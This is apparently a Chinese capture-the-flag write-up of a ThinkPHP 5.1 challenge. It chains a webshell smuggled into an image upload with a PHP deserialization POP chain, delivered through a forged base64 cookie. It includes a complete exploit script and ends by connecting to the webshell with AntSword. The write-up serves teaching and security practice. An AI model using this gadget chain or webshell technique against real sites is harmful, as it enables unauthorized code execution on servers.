题目
没有注入,注册完进来张这个样子
过程
1.尝试多种上传之后,发现只有jpg图片里加一句话可以有效上传。上传成功后,在upload文件夹下,文件名变为md5。并且无法再次上传。
upload/adeee0c170ad4ffb110df0cde294aecd/f3ccdd27d2000e3f9255a7e3e2c48800.png
2.发现有一个聊天框,感觉可以文件包含。目录扫描,发现/www.tar.gz,下载源码,发现是tp5.1。
同时抓包发现cookie是一串base64,解密后是反序列化。
看到Profile这个文件,主要是文件上传
发现这部分引用了一个新类,并且这个类在该文件没有找到
最终发现在index.php这里
说明上传之前会检查一遍账号信息
接着看Profile.php
看到这个函数
会进行一次检查
看到下面有两个魔术方法
关键就在怎么触发这两个魔术方法
当对象调用不可访问属性时,就会自动触发get魔法方法
在对象调用不可访问函数时,就会自动触发call魔法方法。
看到register.php 这里
发现有个__destruct()魔术方法,
上面这两输出可控,我们可以让checker这个属性为Profile类
然后就会调用Profile类里的index()函数,那么就会触发__call魔术方法
name是不可访问函数的名字
arguments是参数,为空
而当使用this->index,就是访问一个不可访问的属性,然后触发__get()魔术方法
而except这个参数我们可以控制,并且他访问了索引name,说明他是一个数组
接着就是让except变成啥样
我们再回过头来看上传的部分
只要我们第一次上传文件,那么empty($_FILES)就会为1,那么就会绕过下面那个png检查,直接跳过,进入下一个if
我们让ext等于1即可进入
filename我们可控,由此
可以通过这个来将我们的webshell复制到filename里去
要触发这个东西我们需要调用
upload_img这个方法
而调用upload_img刚好可以通过上面那两个魔术方法调用
整个POP链大概是这样
让A类访问一个不可访问的函数,触发__call,在通过call里访问不可访问的属性触发__get,然后调用upload_Img方法
接着要找一个反序列化函数,那让POP链成功执行
发现index.php里会反序列化cookie,由此通过这个来进行我们的pop链。
exp:
<?php
namespace app\web\controller;
class Register{
public $checker;
public $registed =0;//目的是过destruct里的if;
}
class Profile{
public $checker =0 ;//目的是绕过index类的检查,防止退出程序
public $filename_tmp="./upload/adeee0c170ad4ffb110df0cde294aecd/f3ccdd27d2000e3f9255a7e3e2c48800.png";
public $upload_menu;
public $filename="upload/penson.php";
public $ext=1;//目的是过if来调用复制webshell
public $img;
public $except=array("index"=>"upload_img");//目的是通过__get()魔术方法调用upload_Img函数
}
$a = new Register();
$a->checker = new Profile();//目的是调用POP链
$a->checker->checker=0;//调用pop链防止退出程序
echo base64_encode(serialize($a));
s
生成的cookie用去替换已有的cookie,然后刷新,再去问问原来图片的文件夹
可以看到原来的png已经变为了php文件
这时候蚁剑去链接,发现成功链接上